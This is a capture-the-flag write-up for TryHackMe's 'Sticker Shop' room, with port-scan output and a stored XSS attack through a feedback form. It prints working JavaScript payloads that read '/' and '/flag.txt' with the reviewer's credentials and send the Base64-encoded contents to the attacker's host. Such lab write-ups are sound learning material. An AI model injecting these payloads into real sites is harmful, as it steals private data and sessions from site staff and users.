TryHackMe | The Sticker Shop | CTF Writeup

TryHackMe | The Sticker Shop | CTF Writeup

A local sticker shop has created a webpage, but their inexperience in web development may have left it vulnerable. Can you exploit their setup to capture the flag by reading the contents of http://MACHINE_IP:8080/flag.txt?

Difficulty = Easy

Challenges: Recon, XSS, JavaScript

TryHackMe Room Link: https://tryhackme.com/r/room/thestickershop

The beginning starts the machine and grub the IP. Then add the $IP in /etc/hosts for thestickershop.thm Use the bellow command to do that.

sudo sh -c 'echo "<THM-$IP> thestickershop.thm" >> /etc/hosts'

We start with a Rustscan and find only two open ports. Port 22 on which we have SSH available and port 8080 on which a Python Werkzeug server is running, a cat sticker shop.

sak@debian ~> sudo rustscan -a thestickershop.thm -- -sV

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Scanning ports like it's my full-time job. Wait, it is.

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.10.239.58:22
Open 10.10.239.58:8080
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -sV" on ip 10.10.239.58
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-01 16:00 +06
NSE: Loaded 46 scripts for scanning.
Initiating Ping Scan at 16:00
Scanning 10.10.239.58 [4 ports]
Completed Ping Scan at 16:00, 0.22s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 16:00
Scanning thestickershop.thm (10.10.239.58) [2 ports]
Discovered open port 8080/tcp on 10.10.239.58
Discovered open port 22/tcp on 10.10.239.58
Completed SYN Stealth Scan at 16:00, 0.21s elapsed (2 total ports)
Initiating Service scan at 16:00
Scanning 2 services on thestickershop.thm (10.10.239.58)
Completed Service scan at 16:02, 109.09s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.239.58.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 16:02
Completed NSE at 16:02, 1.54s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 16:02
Completed NSE at 16:02, 1.68s elapsed
Nmap scan report for thestickershop.thm (10.10.239.58)
Host is up, received reset ttl 63 (0.20s latency).
Scanned at 2024-12-01 16:00:28 +06 for 113s

PORT     STATE SERVICE    REASON         VERSION
22/tcp   open  ssh        syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
8080/tcp open  http-proxy syn-ack ttl 63 Werkzeug/3.0.1 Python/3.8.10
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.94SVN%I=7%D=12/1%Time=674C33C4%P=x86_64-pc-linux-gnu%r
SF:(GetRequest,726,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/3\.0\.1\
SF:x20Python/3\.8\.10\r\nDate:\x20Sun,\x2001\x20Dec\x202024\x2010:00:36\x2
SF:0GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:
SF:\x201655\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html>\n<he
SF:ad>\n\x20\x20\x20\x20<title>Cat\x20Sticker\x20Shop</title>\n\x20\x20\x2
SF:0\x20<style>\n\x20\x20\x20\x20\x20\x20\x20\x20body\x20{\n\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20font-family:\x20Arial,\x20sans-serif;
SF:\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20margin:\x200;\n\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20padding:\x200;\n\x20\x20\x20\
SF:x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20header\x20{\n\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20background-color:\x20#333;\
SF:n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20color:\x20#fff;\n\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20text-align:\x20center;\n\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20padding:\x2010px;\n\x20\x20
SF:\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20header\x20ul
SF:\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20list-style:\x20n
SF:one;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20padding:\x200;\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20heade
SF:r\x20li\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20display:\
SF:x20inline;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20margin-righ
SF:t:\x2020px;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20\x2
SF:0\x20\x20header\x20a\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20text-decoration:\x20none;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20color:\x20#fff;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20font-weight:\x20bold;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\.content\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20padding:\x2020px;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\.product\x20{\n\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20bo");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 112.97 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (128B)

The website offers some stickers on the index page, alongside we have a feedback page.

TryHackMe | The Sticker Shop | CTF Writeup | @sakibulalikhan

On the feedback page, we can submit comments that are quickly reviewed by the staff. This indicates that XSS might be a possible way to exploit the system.

TryHackMe | The Sticker Shop | CTF Writeup | @sakibulalikhan

We have to read the flag as a challenging task and retrieve the flag from http://thestickershop.thm:8080/flag.txt which Currently we are not allowed to access.

TryHackMe | The Sticker Shop | CTF Writeup | @sakibulalikhan

Now, get back to the feedback page and try some XSS payloads. Before that begin a web server on our computer with Python.

sudo python3 -m http.server 80

Find out your computer tun0 $IP to connect back from the Sticker Shop server.

sak@debian ~> ip a | grep tun0

4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    inet 10.9.183.86/16 scope global tun0

We are testing for a basic XSS vulnerability. If our server receives a response, we know XSS is working.

<script src="http://10.9.183.86/feedback"></script>
TryHackMe | The Sticker Shop | CTF Writeup | @sakibulalikhan

We received a response, so now let's create a payload that will send a request to the page on behalf of the user.

TryHackMe | The Sticker Shop | CTF Writeup | @sakibulalikhan

Next, we’ll construct a JavaScript payload designed to intercept and exfiltrate the response from a fetch request targeting the root path of the current origin. The payload leverages the btoa() function to Base64-encode the text content of the fetched response, which is then transmitted to a remote server located at http://10.9.183.86/ via an additional fetch request. To circumvent CORS restrictions, the payload employs mode: 'no-cors', while also specifying credentials: 'same-origin' to include cookies or credentials in the initial request, thereby potentially enabling the capture of sensitive data from the target application.

<script>
fetch("/", {method:'GET',mode:'no-cors',credentials:'same-origin'})
  .then(response => response.text())
  .then(text => { 
    fetch('http://10.9.183.86:1234/' + btoa(text), {mode:'no-cors'}); 
  });
</script>

We get a response back and it is encoded in base64.

TryHackMe | The Sticker Shop | CTF Writeup | @sakibulalikhan

Through user interaction and feedback analysis, we were able to successfully retrieve the index page. (I decoded base64 with my terminal)

Decode command:

echo "base64 code here" | base64 -d
TryHackMe | The Sticker Shop | CTF Writeup | @sakibulalikhan

Next, we modify the payload to incorporate a request for the sensitive file 'flag.txt'.

<script>
fetch("/flag.txt", {method:'GET',mode:'no-cors',credentials:'same-origin'})
  .then(response => response.text())
  .then(text => { 
    fetch('http://10.9.183.86:1337/' + btoa(text), {mode:'no-cors'}); 
  });
</script>

Following the successful submission of our payload, we establish a reverse connection back to our web server, indicating a successful callback.

TryHackMe | The Sticker Shop | CTF Writeup | @sakibulalikhan

Our efforts pay off as we successfully decode the Base64 payload, uncovering the flag!

Congratulations, we completed “The Sticker Shop” room.

TryHackMe | The Sticker Shop | CTF Writeup | @sakibulalikhan

Follow me on X(Twitter): https://x.com/sakibulalikhan

Comments